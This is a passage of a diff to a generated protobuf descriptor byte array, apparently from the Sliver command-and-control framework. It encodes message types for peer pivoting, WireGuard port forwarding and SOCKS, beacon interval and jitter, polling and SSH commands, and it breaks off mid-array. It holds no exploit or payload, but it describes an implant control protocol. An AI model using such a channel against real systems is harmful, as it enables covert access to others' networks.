0x6f, 0x74, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x75, 0x62, + 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x50, 0x75, + 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, + 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x42, 0x02, 0x30, 0x01, 0x52, 0x06, 0x50, 0x65, 0x65, + 0x72, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x12, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, + 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x12, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, + 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4b, 0x65, + 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0a, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x4b, 0x65, 0x79, 0x22, 0x54, 0x0a, 0x16, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x12, 0x1a, 0x0a, + 0x08, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x08, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0a, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4b, 0x65, 0x79, 0x22, 0x3b, 0x0a, 0x09, 0x50, 0x69, 0x76, + 0x6f, 0x74, 0x50, 0x65, 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x42, 0x02, 0x30, 0x01, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, + 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb4, 0x01, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, + 0x50, 0x65, 0x65, 0x72, 0x45, 0x6e, 0x76, 0x65, 0x6c, 0x6f, 0x70, 0x65, 0x12, 0x29, 0x0a, 0x05, + 0x50, 0x65, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x50, 0x65, 0x65, 0x72, + 0x52, 0x05, 0x50, 0x65, 0x65, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x50, + 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x0e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x24, 0x0a, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x46, + 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d, + 0x50, 0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x41, 0x74, 0x22, 0x21, 0x0a, + 0x09, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x6f, + 0x6e, 0x63, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x6f, 0x6e, 0x63, 0x65, + 0x22, 0x50, 0x0a, 0x0c, 0x4e, 0x65, 0x74, 0x43, 0x6f, 0x6e, 0x6e, 0x50, 0x69, 0x76, 0x6f, 0x74, + 0x12, 0x1a, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, + 0x42, 0x02, 0x30, 0x01, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, + 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, + 0x73, 0x73, 0x22, 0x6f, 0x0a, 0x10, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x50, 0x65, 0x65, 0x72, 0x46, + 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x12, 0x1a, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x42, 0x02, 0x30, 0x01, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, + 0x49, 0x44, 0x12, 0x2d, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x65, 0x65, 0x72, + 0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x45, 0x72, 0x72, 0x22, 0x40, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x77, 0x0a, 0x0e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x35, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x52, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x2e, + 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x88, + 0x01, 0x0a, 0x15, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, + 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x4c, 0x6f, 0x63, 0x61, + 0x6c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x09, 0x4c, 0x6f, 0x63, + 0x61, 0x6c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, + 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, + 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x77, 0x0a, 0x0d, 0x57, 0x47, 0x50, + 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x36, 0x0a, 0x09, 0x46, 0x6f, + 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, + 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x52, 0x09, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, + 0x65, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x53, 0x0a, 0x14, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, + 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x02, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x52, 0x0a, 0x0f, 0x57, 0x47, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, + 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x6a, 0x0a, 0x07, 0x57, + 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x52, + 0x06, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4d, 0x0a, 0x0e, 0x57, 0x47, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x02, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x41, 0x0a, 0x12, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, + 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x40, 0x0a, 0x11, 0x57, 0x47, 0x53, + 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x5e, 0x0a, 0x0e, 0x57, + 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, + 0x09, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x41, 0x64, 0x64, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x41, 0x64, 0x64, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x52, + 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x22, 0x3d, 0x0a, 0x0d, 0x57, + 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, + 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, + 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x41, 0x64, 0x64, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x09, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x41, 0x64, 0x64, 0x72, 0x22, 0x73, 0x0a, 0x0e, 0x57, 0x47, + 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x31, 0x0a, 0x07, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x52, 0x07, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, + 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x7b, 0x0a, 0x0f, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, + 0x72, 0x73, 0x12, 0x38, 0x0a, 0x0a, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, + 0x52, 0x0a, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2e, 0x0a, 0x08, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, + 0x0e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, 0x12, + 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, + 0x72, 0x76, 0x61, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, + 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x26, 0x0a, + 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, + 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, + 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3d, 0x0a, 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x15, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, - 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x12, - 0x1c, 0x0a, 0x09, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x05, 0x52, 0x09, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, - 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, - 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x22, 0x77, 0x0a, 0x0d, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, - 0x64, 0x12, 0x36, 0x0a, 0x09, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x52, 0x09, - 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x62, 0x0a, 0x0f, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, + 0x65, 0x72, 0x76, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, + 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, + 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x2b, 0x0a, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0c, 0x50, 0x6f, 0x6c, + 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, - 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x53, 0x0a, 0x14, 0x57, 0x47, 0x50, - 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, - 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x02, 0x49, - 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xa2, 0x02, 0x0a, 0x0d, 0x53, 0x53, + 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, + 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 